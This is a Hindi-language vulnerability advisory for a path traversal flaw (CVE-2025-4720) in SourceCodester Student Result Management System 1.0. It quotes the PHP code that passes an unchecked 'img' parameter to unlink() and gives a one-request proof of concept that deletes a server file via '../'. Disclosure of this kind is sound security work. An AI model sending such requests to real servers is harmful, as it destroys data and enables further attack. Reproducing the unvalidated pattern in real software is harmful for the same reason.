cve-srms-drop-student-path-traversal (CVE-2025-4720)(डुप्लीकेट)

SourceCodester SRMS 1.0 में मनमानी फ़ाइल विलोपन

विवरण

SourceCodester Student Result Management System (SRMS) 1.0 के drop_student.php एंडपॉइंट में एक पाथ ट्रैवर्सल भेद्यता मौजूद है।

एप्लिकेशन img GET पैरामीटर से उपयोगकर्ता-नियंत्रित इनपुट लेता है और इसे बिना सत्यापन के सीधे unlink() फ़ंक्शन में पास करता है, जिससे सर्वर पर मनमानी फ़ाइलों का विलोपन संभव हो जाता है।

भेद्य कोड

$img = $_GET['img'];

if ($img == "DEFAULT") {

} else {
    unlink('images/students/' . $img);
}

भेद्यता प्रकार

• CWE-22: पाथ ट्रैवर्सल
• प्रभाव: मनमानी फ़ाइल विलोपन

प्रूफ ऑफ कॉन्सेप्ट (PoC)

1. एप्लिकेशन रूट में एक फ़ाइल बनाएँ:

C:\xampp\htdocs\srms_0\srms\new_test.txt

2. निम्नलिखित अनुरोध भेजें:

GET /srms_0/srms/script/admin/core/drop_student.php?id=1&img=../../new_test.txt HTTP/1.1
Host: target

3. ध्यान दें कि फ़ाइल सर्वर से हटा दी गई है।

प्रभाव

एक हमलावर वेब सर्वर के लिए सुलभ मनमानी फ़ाइलों को हटा सकता है, जिनमें शामिल हैं:

• एप्लिकेशन कॉन्फ़िगरेशन फ़ाइलें
• लॉग्स
• अपलोड की गई सामग्री

इससे सेवा से वंचित करना या आगे का शोषण हो सकता है।

अतिरिक्त नोट्स

यह भेद्यता SRMS में पहले से रिपोर्ट की गई समस्याओं की तुलना में एक अलग हमला वेक्टर प्रस्तुत करती है, क्योंकि यह:

• GET अनुरोध का उपयोग करती है
• फ़ाइल अपलोड की आवश्यकता नहीं होती
• CSRF के माध्यम से संभावित रूप से शोषण किया जा सकता है

विक्रेता

SourceCodester

उत्पाद

Student Result Management System (SRMS) https://www.sourcecodester.com/srms-makumbusho

संस्करण

1.0

लेखक

Imad Alvi